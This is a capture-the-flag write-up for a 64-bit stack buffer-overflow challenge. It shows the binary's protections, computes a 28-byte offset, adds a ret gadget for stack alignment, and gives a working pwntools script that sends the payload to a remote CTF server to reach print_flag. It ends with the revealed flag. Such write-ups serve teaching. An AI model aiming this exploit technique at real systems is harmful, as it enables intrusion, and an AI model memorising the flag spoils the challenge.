Overview
A 64-bit ELF executable with basic security properties: No PIE and No stack canary. The program accepts input into a vulnerable buffer, letting us redirect execution to a flag-printing function.
Reconnaissance
Checking the binary protections reveals:
$ checksec a_LJWg6mC.out
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: NoThe binary uses a vulnerable function (such as gets) in the vuln function. The stack buffer allocated is 20 bytes (rbp - 0x14).
Exploitation Strategy
Since there is no stack canary and no PIE, the address of print_flag is fixed at 0x401166.
The padding size to overwrite the saved RBP and control RIP is 28 bytes (20 bytes buffer + 8 bytes saved RBP).
To handle the stack alignment issue on 64-bit Ubuntu (GLIBC >= 2.27), we insert a dummy ret instruction gadget (0x40125e) before calling print_flag.
Solution Code
from pwn import *
io = remote('20.197.42.57', 2224)
ret_gadget = p64(0x40125e) # ret instruction for 16-byte stack alignment
print_flag = p64(0x401166) # Target function to print the flag
payload = b"A" * 28 # Padding to reach RIP
payload += ret_gadget # Align stack to 16 bytes
payload += print_flag # Jump to print_flag
io.sendline(payload)
print(io.recvall().decode())Flag
CrackOn{always_buffers}